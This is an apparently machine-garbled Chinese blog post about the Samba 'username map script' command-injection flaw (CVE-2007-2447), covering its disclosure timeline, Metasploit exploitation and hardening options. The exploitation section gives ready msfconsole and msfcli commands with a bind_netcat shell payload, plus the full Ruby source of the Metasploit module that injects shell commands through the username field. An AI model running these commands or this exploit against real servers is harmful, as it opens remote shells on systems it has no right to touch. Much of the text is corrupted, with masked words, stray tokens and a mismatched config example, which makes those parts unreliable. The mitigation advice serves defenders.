最近在學Metasploit×××測試,因此寫一下這篇博客,但願能幫助到在學或者遇到了這個漏洞×××的小夥伴們~~php
Username map script是Samba協議的一個漏洞,ID爲CVE-2007-2447,屬於遠程命令注入漏洞,主要影響Samba的3.0.20到3.0.25rc3 版本。html
這個bug最初是針對匿名電話進行報告的到SamrChangePassword()MS-RPC功能組合中與「用戶名映射腳本」smb.conf選項(不是默認啓用)。通過Samba開發人員的進一步調查,結果以下肯定問題更普遍和影響遠程打印機和文件共享管理。根緣由是傳遞經過MS-RPC提供的未通過濾的用戶輸入在調用定義的外部腳本時調用/ bin / sh
在smb.conf中。可是,與「用戶名映射腳本」不一樣,漏洞,遠程文件和打印機管理腳本須要通過認證的用戶會話。git
2007年5月7日:漏洞匿名披露到security@samba.org電子郵件列表中。
2007年5月7日:Samba的開發人員Gerald Carter開始響應這個漏洞。
2007年5月9日:Samba的開發者Jeremy Allison發佈了補丁,用於iDefense測試。
2007年5月10日:向vendor-sec郵件列表發佈通知。
2007年5月14日:公開漏洞信息。github
方式一:經過控制檯shell
#進入metasploit控制檯 msfconsole #選擇usermap_script×××模塊 use exploit/multi/samba/usermap_script #選擇bind_netcat×××載荷 set payload cmd/unix/bind_netcat #設置目標地址 set RHOST 10.10.10.254 #設置目標端口 set RPORT 139 #執行××× exploit
方式二:經過msfclimsfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=10.10.10.254 E
api
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Client # For our customized version of session_setup_no_ntlmssp CONST = Rex::Proto::SMB::Constants CRYPT = Rex::Proto::SMB::Crypt def initialize(info = {}) super(update_info(info, 'Name' => 'Samba "username map script" Command Execution', 'Description' => %q{ This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-2447' ], [ 'OSVDB', '34700' ], [ 'BID', '23972' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ], [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, # root or nobody user 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', # *_perl and *_ruby work if they are installed # mileage may vary from system to system.. } }, 'Targets' => [ [ "Automatic", { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 14 2007')) register_options( [ Opt::RPORT(139) ]) end def exploit connect # lol? username = "/=`nohup " + payload.encoded + "`" begin simple.client.negotiate(false) simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false) rescue ::Timeout::Error, XCEPT::LoginError # nothing, it either worked or it didn't ;) end handler end end
方案一:限制併發鏈接的數量
當smbd做爲守護進程(而不是inetd)啓動時,Samba可以限制併發鏈接的數量。'max smbd processes'smb.conf選項容許管理員定義在任何給定時間點運行的smbd進程的最大數量。客戶端鏈接到服務器的任何進一步嘗試都將被拒絕。安全
方案二:使用基於主機的保護
在許多Samba安裝中,最大的威脅來自您的直接網絡以外。默認狀況下,Samba將接受來自任何主機的鏈接,這意味着若是您在直接鏈接到Internet的主機上運行不安全版本的Samba,則可能會特別容易受到×××。
其中在這種狀況下,最簡單的修復是使用「主機容許」和「主機否定」桑巴smb.conf配置文件中,只容許從主機特定範圍的訪問您的服務器的選項。一個例子多是:ruby
hosts allow = 127.0.0.1 192.168.2.0/24 192.168.3.0/24
主機拒絕= 0.0.0.0/0
以上只會容許來自'localhost'(您本身的計算機)和兩個專用網絡192.168.2和192.168.3的SMB鏈接。客戶端發送第一個數據包後,全部其餘鏈接都將被拒絕鏈接。拒絕將被標記爲「不聽名稱」錯誤。服務器
方案三:使用接口保護
默認狀況下,Samba將接受它在系統上找到的任何網絡接口上的鏈接。這意味着若是你有一條ISDN線路或PPP鏈接到互聯網,那麼Samba將接受這些鏈路上的鏈接。這可能不是你想要的。網絡
您可使用如下選項更改此行爲:
hosts allow = 127.0.0.1 192.168.2.0/24 192.168.3.0/24
hosts deny = 0.0.0.0/0
它告訴Samba只監聽名稱以'eth'開始的接口上的鏈接,如eth0,eth1,以及名爲'lo'的回送接口。您須要使用的名稱取決於您使用的操做系統。在上面我使用了Linux上的以太網適配器的通用名稱。
若是您使用上述方法,而且有人嘗試經過稱爲'ppp0'的PPP接口與主機創建SMB鏈接,則它們將得到TCP鏈接拒絕答覆。在這種狀況下,根本不會運行Samba代碼,由於操做系統被告知不要將鏈接從該接口傳遞到任何進程。
方案四:使用防火牆
許多人使用防火牆拒絕訪問他們不但願暴露在網絡以外的服務。這多是一個很是好的主意,但我建議將它與上述方法結合使用,以便即便防火牆因爲某種緣由未處於活動狀態而受到保護。
若是您正在設置防火牆,那麼您須要知道容許和阻止哪些TCP和UDP端口。Samba使用如下內容:
UDP / 137 - 由nmbd
UDP / 138使用 - 由nmbd使用
TCP / 139 - 由smbd使用
TCP / 445 - 由smbd使用
最後一個很重要,由於許多舊的防火牆設置可能沒有意識到,由於近年來這個端口只被添加到協議中。
方案五:使用IPC $共享拒絕
若是上述方法不合適,那麼您還能夠在最近發現的安全漏洞中使用的IPC $共享上放置更具體的拒絕。這容許您提供對其餘共享的訪問,同時拒絕可能不可信的主機訪問IPC $。
要作到這一點,你可使用:
[ipc $]
hosts allow = 192.168.115.0/24 127.0.0.1
hosts deny = 0.0.0.0/0
這將告訴Samba,除了列出的兩個地方(本地主機和本地子網)外,IPC $鏈接不能從任何地方被容許。與其餘股份的鏈接仍將被容許。因爲IPC $共享是惟一可匿名訪問的共享,所以能夠爲不知道用戶名/密碼的×××者提供必定程度的保護。
若是你使用這種方法,那麼客戶端在嘗試訪問IPC $共享時將被授予「拒絕訪問」的回覆。這意味着這些客戶端將沒法瀏覽共享,也可能沒法訪問其餘一些資源。
我不推薦這種方法,除非因爲某種緣由不能使用上面列出的其餘方法之一。
方案六:升級Samba我的認爲是最好的方法~~~~